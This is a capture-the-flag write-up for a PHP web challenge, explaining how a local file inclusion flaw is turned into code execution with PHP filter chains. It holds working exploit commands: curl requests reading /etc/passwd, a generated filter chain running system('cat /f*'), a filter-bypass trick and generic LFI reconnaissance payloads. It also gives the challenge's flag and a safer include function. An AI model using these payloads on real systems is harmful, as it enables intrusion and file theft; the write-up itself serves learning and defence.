- Published on
PCC CTF - L33tSpeak Web Challenge Writeup
- Authors
- Name
- Muhammad Huzaifa
L33tSpeak Web Challenge Solution
Challenge Overview
- URL: http://c1.arena.airoverflow.com:56633
- Hint: "Try Php Chain Generator Till Memory"
- Format: PCC{}
Vulnerability Analysis
The application has a Local File Inclusion (LFI) vulnerability in index.php
:
if (isset($_GET['page'])) {
$page = $_GET['page'];
// Filter blocks: "..", "flag", ".php", "temp"
if (strpos($page, '..') !== false || strpos($page, 'flag') !== false || strpos($page, '.php') !== false || strpos($page, 'temp') !== false) {
die('Weirdddddd!!!!');
}
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include($page); // VULNERABLE!
}
}
Solution Approach
The hint "PHP Chain Generator Till Memory" refers to PHP filter chain generators - a technique to bypass LFI restrictions.
Step 1: Verify PHP Filter Wrapper Works
curl "http://c1.arena.airoverflow.com:56633/?page=php://filter/convert.base64-encode/resource=/etc/passwd"
Step 2: Use PHP Filter Chains to Read Flag
Since the filter blocks "flag" in the URL parameter, we need to use PHP filter chains to bypass this. The technique involves using convert.iconv filters to manipulate strings.
Exploitation
The flag file is located at /flag.txt
but we cannot directly access it because "flag" is blocked.
We need to use PHP filter chains or find an alternative way to read the file without having "flag" in the page parameter.
Exploitation Steps
Step 1: Clone the PHP Filter Chain Generator
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
Step 2: Generate the Payload
The key insight is that we can use PHP filter chains to generate arbitrary PHP code that will be executed. We generate a payload that executes cat /f*
to read all files starting with /f
(including /flag.txt
):
python3 php_filter_chain_generator.py --chain '<?php system("cat /f*");?>'
This generates a very long filter chain that uses convert.iconv filters to construct the PHP code.
Step 3: Bypass the "temp" Filter
The generated payload uses php://temp
as the resource, but "temp" is blocked by the filter. We need to replace it with another file:
python3 php_filter_chain_generator.py --chain '<?php system("cat /f*");?>' | grep "^php://" | sed 's|php://temp|/etc/hosts|g' > payload.txt
Step 4: Execute the Exploit
PAYLOAD=$(cat payload.txt)
curl "http://c1.arena.airoverflow.com:56633/?page=${PAYLOAD}"
The output will contain the flag: PCC{
...}
Technical Details
PHP Filter Chains Deep Dive
The hint "PHP Chain Generator Till Memory" refers to:
- PHP Filter Chain Generator: A tool that generates long chains of
convert.iconv
filters - Till Memory: The chains are very long (memory-intensive) because they encode arbitrary content through multiple character encoding conversions
How PHP Filter Chains Work
// Basic filter chain concept
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF8|convert.base64-encode/resource=file
Each convert.iconv
filter performs a character set conversion, and by chaining them, we can manipulate bytes to create desired output.
Filter Chain Generation Process
- Target String:
<?php system("cat /f*");?>
- Character Analysis: Break down into individual bytes
- Conversion Mapping: Find iconv conversions that produce target bytes
- Chain Construction: Build filter chain with multiple conversions
- Validation: Test and refine the chain
Advanced Bypass Techniques
Technique 1: Resource Replacement
# Original payload uses php://temp (blocked)
php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-encode/resource=php://temp
# Replace with allowed resource
php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-encode/resource=/etc/hosts
Technique 2: Alternative Wrappers
# Try different PHP wrappers
php://filter/.../resource=data://text/plain;base64,
php://filter/.../resource=expect://ls
php://filter/.../resource=glob:///var/www/*
Exploitation Methodology
The exploit works by:
- Using multiple
convert.iconv
filters to transform data - Each filter converts between different character encodings
- Through careful chaining, the filters construct arbitrary PHP code
- The PHP code is executed when included by the vulnerable
include()
function - Our code executes
cat /f*
which reads/flag.txt
without having "flag" in the URL parameter
Phase 1: Reconnaissance
# Test basic LFI
curl "http://target/?page=../../../etc/passwd"
# Test PHP wrapper
curl "http://target/?page=php://filter/read=convert.base64-encode/resource=index.php"
# Enumerate files
curl "http://target/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd"
Phase 2: Filter Chain Development
# Use automated tools
python3 php_filter_chain_generator.py --chain '<?php system("id");?>'
# Manual chain construction
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF8|convert.base64-encode/resource=/etc/hosts
Phase 3: Payload Execution
# Execute generated payload
PAYLOAD=$(cat generated_payload.txt)
curl "http://target/?page=${PAYLOAD}"
# Verify execution
curl "http://target/?page=${PAYLOAD}" | grep -i "uid="
Security Analysis
Vulnerability Root Cause
// Vulnerable code
if (isset($_GET['page'])) {
$page = $_GET['page'];
// Insufficient filtering
if (strpos($page, '..') !== false || strpos($page, 'flag') !== false || strpos($page, '.php') !== false || strpos($page, 'temp') !== false) {
die('Weirdddddd!!!!');
}
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include($page); // VULNERABLE!
}
}
Defense Mechanisms
// Proper LFI prevention
function safe_include($page) {
$allowed_pages = ['home', 'about', 'contact'];
$page = basename($page); // Remove path traversal
if (!in_array($page, $allowed_pages)) {
die('Access denied');
}
$file = $page . '.php';
if (!file_exists($file) || !is_file($file)) {
die('File not found');
}
include($file);
}
Result
FLAG FOUND: PCC{
ez_pz_lemon_squeezy_VMhYY7hiL5}
When tested locally with Docker:
PCC{`FAKEFLAG`}
When tested against the live server:
PCC{`ez_pz_lemon_squeezy_VMhYY7hiL5`}